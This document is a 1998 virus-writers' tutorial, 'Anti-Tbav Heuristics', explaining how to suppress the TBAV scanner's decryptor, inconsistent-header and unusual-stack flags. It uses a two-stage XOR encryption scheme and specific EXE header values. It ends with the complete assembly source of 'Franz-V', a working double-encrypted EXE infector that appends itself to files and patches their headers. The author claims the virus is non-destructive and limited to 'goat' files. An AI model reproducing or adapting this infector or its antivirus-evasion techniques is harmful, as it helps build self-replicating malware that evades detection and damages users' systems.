                              Anti-Tbav Heuristics
                                 By: Doxtor L.
                                    -TI #1-

[Introduction]
 
        I know there are several tutorals on this subject (read Vdat) but
I never have seen inside them a manner to avoid  "#","?","k" flags.
               
        Whats the meaning of this so-called "flag"? Its an information given
to the user on some abnormal things about scanned files. To understand this
tutorial you need to have written your own exe-infector.
    
[What the Docs Say]
               

            # - Decryptor code found
   The file possibly contains a self-decryption routine. Some copy-protected
   software is encrypted, so this warning might appear for some of your
   files. If, however, this warning appears in combination with, for
   example, the "T" warning, there could be a virus involved and TbScan
   assumes contamination. Many viruses encrypt themselves and trigger this
   warning.


             ? - Inconsistent header.
   The program being processed has an EXE-header that does not reflect the
   actual program lay-out. Many viruses do not update the EXE-header of an
   EXE file correctly after they infect the file, so if this warning pops up
   frequently, it appears you have a problem.

            
           
             K - Unusual stack.
   The EXE file being processed has an odd (instead of even) stack offset or
   a suspicious stack segment. Many viruses are quite  buggy  by setting up
   an illegal stack value.
 

        In what follow i want to show you how to avoid these flags.
 
[Intro Part II]        

        Nowadays Tbav isnt considered as one of best anti-virus by vx. I know
that. But tbav with its flags can be useful. Sometime ago when I was playing
with a virus called "Krile"  (Hey Raid ,i like your viruses ;)  My puter was
infected by it. To locate all infected files i had begun by using AVP...
        But at this time avp didnt detect this version of Krile, neither TBAV.
But several files processed had the flags "?" and "k".  Then in using a text
editor i have seen these files  were infected. Then to disinfect I have
searched all files with "k" and "?" flags, read them with a text editor to
check. Its the manner I used to stop the infection :)
  
[Avoiding the Flags]

   # flag 
   ------

            lets make an experience:
          
            assemble this (silly) program:
             
            tasm/m2 silly.asm 
            tlink/t silly.obj


-------------silly.asm cut here----------------

            code segment
            assume cs:code,ds:code,es:code

            org 100h
            start:

            mov cx,19
            mov al,11h
            mov si,offset crypt_part
            call crypt
            int 20h
            crypt_part: 
            db 19 dup ('V')  ;we want encrypt this part in memory
            
            db 1000 dup ('N');tbav dont scan little files 

            crypt:
            xor byte ptr [si],al
            inc si
            loop crypt
            ret
 
            code ends
            end start 
             
 ------------end slly.asm cut here--------------------------         


  Why this silly program?
  
        Put it in tbav directory and scan it ! (in high heuristic mode of
course )  What can you see? ....This program have the flag #  Now replace the
two "19"  by  18 and make a new silly program  and once again scan it with
TBAV.
  
        Yes this new program dont have flag # :)) Conclusion : with my lame
encryption routine if i encrypt 18 byte or less tbav dont see the
crypt routine ;). Then if the size of your virus is 18 bytes tbav dont
pop up flag # ....i'm kidding :)
         More seriously here is my method to defeat the # flag:
  
        Encrypt a part of code <19 bytes this part of code contains a routine
to decrypt another part of code with no fixed size ;)
   
        The size of the first part HAVE TO BE <19 bytes. If its not
then everything is screwed :(
  
   
You can use this to make the job:


  call me
  me:
      pop bp              
      sub bp,offset me
      
  lea si,offset 1st_crypt_part+bp
  mov al,key1
  mov cx,offset end_1st_crypt_part
  call crypt

  jmp over

  crypt:
  xor byte ptr cs:[si],al
  inc si
  loop crypt
  ret

  over:

  first_crypt_part:                               ;this part
  lea si,second_crypt_part+bp                     ;contains
  mov cx,end_second_crypt_part -second_crypt_part ;12 bytes 
  mov al,key2                                  
  call crypt
  end_first_crypt_part:
  
  2nd_crypt_part:
  -----------------------
  ---------virus---------
  -----------------------
  end_second_crypt_part: 

 (see appendix for a full working example )
   
  
  ? flag
  -------

When you want infect a exe-file you  have to change its header.

 In your code you need to put something like:

 
 mov word ptr [exe_header+bp+10h],#1    ;***The initial value to set sp
                                        ;to when the program is executed

 mov word ptr [exe_header+bp+0ah],#2    ;The minimum number of 16 byte
                                        ;paragraphs of memory that the
                                        ;program requires to execute.
                                        ;(this is in addition to the 
                                        ;image of program stored in 
                                        ;the file)

 fills #1 with 0ff0h and #2 with 00ffh and all is alright ;)

 Warning! check your routine updating the size of infected file to be
 sure isnt buggy! (Nevertheless your virus seems to do the job so you 
 notice nothing ) 

 If it is, ? flag will be set. 
 
 (see appendix for a full working example)
 
   
 k flag
 ------

 When cs=ss or sp is an odd number.

When you update the exe-header of file to infect

 you use something like:
 
 

 mov word ptr [exe_header+bp+16h],dx ; Initial value of the
                                     ; code segment (cs)
                                     
 mov word ptr [exe_header+bp+0eh],dx ; Initial value of the
                                     ; code segment (ss)

 put "inc dx" between the later instructions and
 dont forget to add:


                     cli
                     mov ax,ss
                     dec ax
                     mov ss,ax
                     sti

   to the beginning of the virus be4 to put push/pop instructions  
  
   and :

         mov byte ptr [exe_header+bp+10h],0ff0h ;(see ***)
          
         (see appendix for a working example)
        
       
  Conclusion:
        These tricks supress #,k,? flags in infected files.
In using double encryption it appears tbav cant detect the 2nd+ generations
of the example of virus joined in appendix. In fact tbav sees NOTHING :).
 
[Appendix]

 
[Disclaimer]

 This virus was written to illustrate a technique not to damage and/or spread.

To test it I used Tbav806.
 
        * this virus is a no-tsr exe-infector twice encrypted
        * infected files dont have the flags #,?,k
        * Anti-lamer routine :)
        * Infect all true exe-files in current directory
        * Dont infect windows-exe files
        * Dont infect exe-files with overlay
        * Cant change directory
        * Save dta
        * No volontary destructive routine

  All anti-virus seems to detect it.Infected files (2nd+ 
 generations) arent detected by tbav and seem to have just one flag: "c"
(checksum missing).
  

  To compile tasm/m2 Franz-V.asm
             tlink/t Franz-V.obj

[Begin Code]

code segment
assume cs:code,ds:code,es:code
org 100h

start:                  

xor bp,bp
jmp first_time        ;skip encryption for first execution
begin_virus:

      call me         ;delta_offset routine 
      me:
         pop bp
         sub bp,offset me

      lea si,first_crypt_part+bp
      mov cx,end_first_crypt_part - first_crypt_part
      mov al,11h
      call crypt
      jmp over
      crypt:
            xor byte ptr cs:[si],al
            inc si
            loop crypt
            ret
     
      over:
      
      first_crypt_part:
          lea si,second_crypt_part+bp
          mov cx,end_second_crypt_part - second_crypt_part
          mov al,33h
          call crypt
      end_first_crypt_part:

          
      second_crypt_part:
                  cli  
                  mov ax,ss
                  dec ax
                  mov ss,ax
                  sti
      first_time:

      push cs                          ;
      pop ds                           ;ds=cs

      mov word ptr [_es+bp],es         ;save current es     
      

      push cs                          ;
      pop es                           ;es=cs


     lea si,store+bp                   ;prepare for host 
     lea di,old+bp                     ;execution 
     movsw
     movsw
     movsw
     movsw

     mov ah,1ah                        ;move the dta
     lea dx,new_dta+bp
     int 21h
    
      
     mov ah,4eh
     lea dx,exe_file+bp
     mov cx,7
     int 21h

     jnc open_file
     jmp restore_dta
     
     open_file:
            mov ax,3d02h             ;open file found
            lea dx,new_dta+1eh+bp
            int 21h 
     
            xchg ax,bx               ;put file handler into bx

     read_file:      
            
            mov ah,3fh               ;read the header of 
            mov cx,1ch               ;file found
            lea dx,exe_header+bp
            int 21h   
                     

                test1:    ;real exe-file?
                          cmp word ptr [exe_header+bp],'ZM'
                          je test3
                test2:    ;real exe-file?
                          cmp word ptr [exe_header+bp],'MZ'
                          jne get_another 
                test3:    ;infected?
                          cmp word ptr [exe_header+12h+bp],'VI'
                          je get_another                 
                test4:    ;overlay?
                          cmp word ptr [exe_header+26+bp],0
                          jne get_another
                test5:    ;windows-exe?
                          cmp byte ptr [exe_header+24+bp],40h
                          je get_another

                save_exe_header:
                          mov ax,word ptr [exe_header+bp+0eh]
                          mov word ptr [store_ss+bp],ax

                          mov ax,word ptr cs:[exe_header+bp+10h]
                          mov word ptr [store_sp+bp],ax

                          mov ax,word ptr [exe_header+bp+14h]
                          mov word ptr [store_ip+bp],ax
                          
                          mov ax,word ptr cs:[exe_header+bp+16h]
                          mov word ptr [store_cs+bp],ax
                go_end:
                          mov ax,4202h
                          xor cx,cx
                          mov dx,cx
                          int 21h
                          push ax dx
      compute_new_csip:
                          push ax
                          mov ax,word ptr [exe_header+bp+8]                        
                          mov cl,4
                          shl ax,cl
                          mov cx,ax
                          pop ax
                          sub ax,cx
                          sbb dx,0
                          mov cl,0ch
                          shl dx,cl
                          mov cl,4
                          push ax
                          shr ax,cl
                          add dx,ax
                          shl ax,cl
                          pop cx
                          sub cx,ax
        jmp over_there
        get_another:
        jmp get_another2
        over_there:
        change_header:
                          mov word ptr [exe_header+bp+14h],cx
                          mov word ptr [exe_header+bp+16h],dx
                          inc dx
                          mov word ptr [exe_header+bp+0eh],dx
                          mov word ptr [exe_header+bp+10h],0ff0h
                          mov word ptr [exe_header+bp+0ah],00ffh
                          mov word ptr [exe_header+bp+12h],'VI'

                          pop dx ax
         compute_size:
                          add ax,end_virus-begin_virus
                          adc dx,0
                          mov cx,512
                          div cx
                          cmp dx,0
                          je enough
                          inc ax
                enough:   
                          mov word ptr [exe_header+bp+04],ax
                          mov word ptr [exe_header+bp+02],dx
           write_virus:
                          lea si,begin_virus+bp
                          lea di,heap+bp
                          mov cx,end_virus-begin_virus
                          rep movsb
                        
                          lea si,(first_crypt_part-begin_virus+heap)+bp
                          mov al,11h
                          mov cx,end_first_crypt_part-first_crypt_part
                          call crypt
                          
                          lea si,(second_crypt_part-begin_virus+heap)+bp
                          mov al,33h
                          mov cx,end_second_crypt_part - second_crypt_part
                          call crypt

                          mov cx,end_virus-begin_virus                                           
                          mov ah,40h
                          lea dx,bp+heap
                          int 21h
           go_beginning:
                          mov ax,4200h
                          xor cx,cx
                          mov dx,cx
                          int 21h
         copy_new_header: 
                          mov ah,40h
                          mov cx,1ah
                          lea dx,exe_header+bp
                          int 21h
                
         
         get_another2:    
                         mov ah,3eh
                         int 21h
 
                         mov ah,4fh
                         int 21h
                         jc restore_dta
                         jmp open_file
                       
         

         restore_dta:    
                          mov ax,word ptr [_es+bp]
                          push ax
                          pop ds
                          mov dx,80h
                          mov ah,1ah
                          int 21h
                         
                          push ds
                          pop  es
        
                          mov ax,es     ;compute cs to execute     
                          add ax,10h
                          add word ptr cs:[old_cs+bp],ax ;host
                                                          
                 restore_host_stack:                                        
                          cli 
                          add ax,word ptr cs:[bp+old_ss]
                          mov ss,ax      
                          mov sp,word ptr cs:[bp+old_sp]
                          sti
                 go_host:
                          db 0eah      ;jmp xx:yy
                 old:
                          old_ip dw 0
                          old_cs dw 0
                          old_sp dw 0
                          old_ss dw 0
                store:
                        store_ip dw 0
                        store_cs dw 0fff0h
                        store_sp dw 0
                        store_ss dw 0fff0h

                         
              sign  db '(c)Franz-V by DoxtorL./TI July1998'
          exe_file  db 'goat*.exe',0   ;Anti-lamer routine :)
          
       end_second_crypt_part:                
                
                end_virus:
                   _es dw          ? 
            exe_header db 1ch dup (?)
               new_dta db 43  dup (?)
               heap:
code ends
end start

[End Of File]                 
